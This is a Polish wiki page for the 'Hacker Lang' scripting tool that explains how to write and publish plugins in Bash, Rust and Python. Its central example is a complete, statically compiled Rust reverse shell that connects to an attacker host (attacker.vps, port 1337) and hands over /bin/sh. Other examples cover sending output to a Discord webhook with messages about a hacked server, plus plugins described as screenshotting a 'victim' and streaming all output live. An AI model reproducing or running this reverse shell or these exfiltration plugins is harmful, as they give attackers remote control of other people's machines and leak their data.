Skip to content

Creating‐Plugins

michal92299 edited this page Nov 29, 2025 · 1 revision

Strona 5 – Pisanie własnych pluginów (\plugin)

Pluginy to najmocniejsza broń Hacker Lang – pozwalają uruchamiać dowolny kod (Rust, C, Go, Python, Ruby…) z jednego znaku \nazwa w skrypcie .hacker.

Gdzie mieszkają pluginy?

~/.hackeros/hacker-lang/plugins/
├── metasploit      ← executable (bez rozszerzenia)
├── john            ← executable
├── discord-live    ← executable
└── revshell        ← executable

Minimalny plugin w 30 sekund (Bash)

mkdir -p ~/.hackeros/hacker-lang/plugins
cat > ~/.hackeros/hacker-lang/plugins/hello <<'EOF'
#!/bin/bash
echo -e "\033[31m
    ╔══════════════════════════════════╗
    ║   Plugin hello właśnie się uruchomił   ║
    ╚══════════════════════════════════╗
\033[0m"
echo "Argumenty: $@"
echo "Zmienna \$TARGET = $TARGET"
sleep 2
EOF
chmod +x ~/.hackeros/hacker-lang/plugins/hello

Terwać w dowolnym skrypcie .hacker:

$TARGET=192.168.1.1
\hello świat!             ! ← wywoła nasz plugin
^ \hello jako root też    ! ← z sudo

Plugin w Rust – przykład z reverse shell (kompilowany statycznie)

// revshell.rs
use std::net::TcpStream;
use std::io::{Read, Write};
use std::env;

fn main() {
    let args: Vec<String> = env::args().collect();
    let lhost = args.get(1).map(|s| s.as_str()).unwrap_or("127.0.0.1");
    let lport = args.get(2).map(|s| s.as_str()).unwrap_or("4444");

    if let Ok(mut stream) = TcpStream::connect(format!("{}:{}", lhost, lport)) {
        let _ = writeln!(stream, "Reverse shell z Hacker Lang pluginu!");
        let mut shell = std::process::Command::new("/bin/sh")
            .stdin(std::process::Stdio::inherit())
            .stdout(std::process::Stdio::inherit())
            .stderr(std::process::Stdio::inherit())
            .spawn()
            .unwrap();

        let _ = shell.wait();
    }
}

Kompilacja (raz!):

rustc --target x86_64-unknown-linux-musl -O revshell.rs -o ~/.hackeros/hacker-lang/plugins/revshell
chmod +x ~/.hackeros/hacker-lang/plugins/revshell

Użycie w .hacker:

$TARGET=attacker.vps
$LPORT=1337

\revshell $TARGET $LPORT      ! ← jeden wiersz = pełny reverse shell

Plugin w Pythonie (z dostępem do zmiennych Hacker Lang)

#!/usr/bin/env python3
import os
import sys

print("Plugin python-discord działa!")
webhook = os.getenv("DISCORD_WEBHOOK")
message = " ".join(sys.argv[1:]) or "Ping z Pythona!"

if webhook:
    import subprocess
    subprocess.run([
        "curl", "-H", "Content-Type: application/json",
        "-d", f'{{"content": "{message}"}}',
        webhook
    ], check=False)
else:
    print("Ustaw zmienną @DISCORD_WEBHOOK!")
chmod +x ~/.hackeros/hacker-lang/plugins/pydiscord

Użycie:

@DISCORD_WEBHOOK=https://discord.com/api/webhooks/...
\pydiscord Serwer zhackowany o $(date)

Oficjalne pluginy (jak je instalować jednym poleceniem)

hli plugin install metasploit    # → john, hashcat, sqlmap, ffuf, nuclei…
hli plugin install discord-live  # → wysyła każdy output na żywo na Discord
hli plugin install screenshot    # → robi zrzut ekranu ofiary (wayland/x11)
hli plugin list                  # → pokazuje wszystkie dostępne

Jak stworzyć plugin, który będzie w oficjalnym repo?

  1. Zrób repozytorium GitHub
  2. Dodaj plik plugin.json:
{
  "name": "discord-live",
  "version": "2.3",
  "description": "Wysyła każdy output skryptu na żywo na Discord",
  "author": "NeoHacker",
  "binaries": {
    "linux-x64": "https://github.com/NeoHacker/discord-live/releases/download/v2.3/discord-live-linux",
    "linux-arm64": "https://github.com/NeoHacker/discord-live/releases/download/v2.3/discord-live-arm"
  }
}
  1. Otwórz PR do https://github.com/HackerOS-Project/plugins-registry

Po mergu każdy będzie mógł:

hli plugin install discord-live

i używać w skrypcie po prostu \discord-live

Podsumowanie – co może plugin?

  • Czytać wszystkie zmienne Hacker Lang ($VAR, @VAR)
  • Otrzymywać argumenty po nazwie pluginu
  • Działać jako root (^ \plugin)
  • Być napisany w dowolnym języku
  • Być skompilowany statycznie → 100% przenośny